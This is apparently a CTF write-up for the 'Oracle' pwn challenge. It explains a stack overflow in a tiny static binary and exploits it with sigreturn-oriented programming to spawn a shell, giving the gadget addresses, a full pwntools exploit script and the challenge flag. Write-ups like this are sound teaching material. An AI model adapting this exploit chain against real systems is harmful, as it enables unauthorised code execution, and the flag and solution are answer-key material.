Skip to main content
Oracle - CTF Writeup
  1. Writeups/
  2. MOJO-JOJO - CTF Writeups/
  3. Binary Exploitation/

Oracle - CTF Writeup

·501 words·3 mins·
Deadnaut
Author
Deadnaut
Documenting cybersecurity challenges, CTF writeups, and penetration testing insights from the digital frontier.
Table of Contents

Challenge Name: Oracle
Category: PWN
CTF: MOJO-JOJO
Description: Two echoes resonate in the silence. No more instruments. No orchestra. Can you conduct the signal symphony and make the void sing?
Connection: nc mojo-pwn.securinets.tn 9003


Challenge Overview
#

The challenge provides a minimal static ELF that prints a short banner and then reads user input. The binary has a classic stack overflow but only a tiny gadget set, so the intended exploitation path is SROP (sigreturn‑oriented programming) to call execve("/bin/sh", 0, 0).

Initial Analysis
#

Binary Information
#

$ file main
main: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped

Program Behavior
#

The void echoes...
      ECHOES
In the silence, two sounds remain
Can you make them resonate?

The program then performs a single read and returns.

Vulnerability Discovery
#

1. Stack Overflow in listen
#

Disassembly shows that listen() allocates 16 bytes on stack but reads 0x200 bytes from stdin:

4010e1:  sub    rsp,0x10              ; 16-byte buffer
4010f4:  lea    rax,[rbp-0x10]        ; buffer
4010f8:  mov    edx,0x200             ; size = 512
401100:  mov    edi,0x0               ; fd = stdin
401105:  call   syscall_read          ; read(0, buf, 0x200)

This overwrites the saved RBP and return address. The offset to RIP is:

  • 16 bytes (buffer)
  • 8 bytes (saved RBP)

Total: 24 bytes.

2. Useful Gadgets and Data
#

The binary is tiny, but it includes the exact pieces we need for SROP:

  • /bin/sh at 0x402000
  • pop rax ; ret at 0x4010ce
  • syscall ; ret at 0x4010d7

Exploitation Strategy (SROP)
#

We cannot populate rdi, rsi, and rdx with normal ROP because those gadgets do not exist. SROP allows us to restore all registers from a fake signal frame. The plan:

  1. Overflow the stack to control RIP.
  2. Use pop rax ; ret to set rax = 15 (rt_sigreturn).
  3. Jump to syscall ; ret to enter the kernel’s sigreturn handling.
  4. The kernel reads a SigreturnFrame from the stack and restores registers.
  5. After sigreturn, the restored rip points to syscall ; ret, executing execve("/bin/sh", 0, 0).

Fake Frame Register State
#

  • rax = 59 (execve)
  • rdi = 0x402000 (pointer to /bin/sh)
  • rsi = 0, rdx = 0 (null argv/envp)
  • rip = 0x4010d7 (syscall ; ret)
  • rsp = 0x402000 (safe pivot into .rodata)

Exploit Payload Layout
#

[ padding (24) ]
[ pop rax ; ret ]
[ 15 ]
[ syscall ; ret ]
[ SigreturnFrame (execve) ]

Exploit Code (solve.py)
#

#!/usr/bin/env python3
from pwn import *

context.clear(arch="amd64", os="linux")
context.log_level = "info"

BIN_PATH = "./main"

binary = ELF(BIN_PATH, checksec=False)

POP_RAX = 0x4010ce
SYSCALL_RET = 0x4010d7
BINSH = 0x402000
OFFSET = 24

def build_payload():
  frame = SigreturnFrame()
  frame.rax = 59
  frame.rdi = BINSH
  frame.rsi = 0
  frame.rdx = 0
  frame.rip = SYSCALL_RET
  frame.rsp = BINSH

  payload = b"A" * OFFSET
  payload += p64(POP_RAX)
  payload += p64(15)
  payload += p64(SYSCALL_RET)
  payload += bytes(frame)
  return payload


def start():
  if args.REMOTE:
    return remote("mojo-pwn.securinets.tn", 9003)
  return process(BIN_PATH)


def main():
  io = start()
  io.recvuntil(b"echoes...")
  io.send(build_payload())
  io.interactive()


if __name__ == "__main__":
  main()

Final Flag
#

Once the shell is obtained, read /app/flag.txt.

MOJO-JOJO{tw0_3ch03s_c4n_s1ng_1n_h4rm0ny_sigr3turn_symph0ny}

Related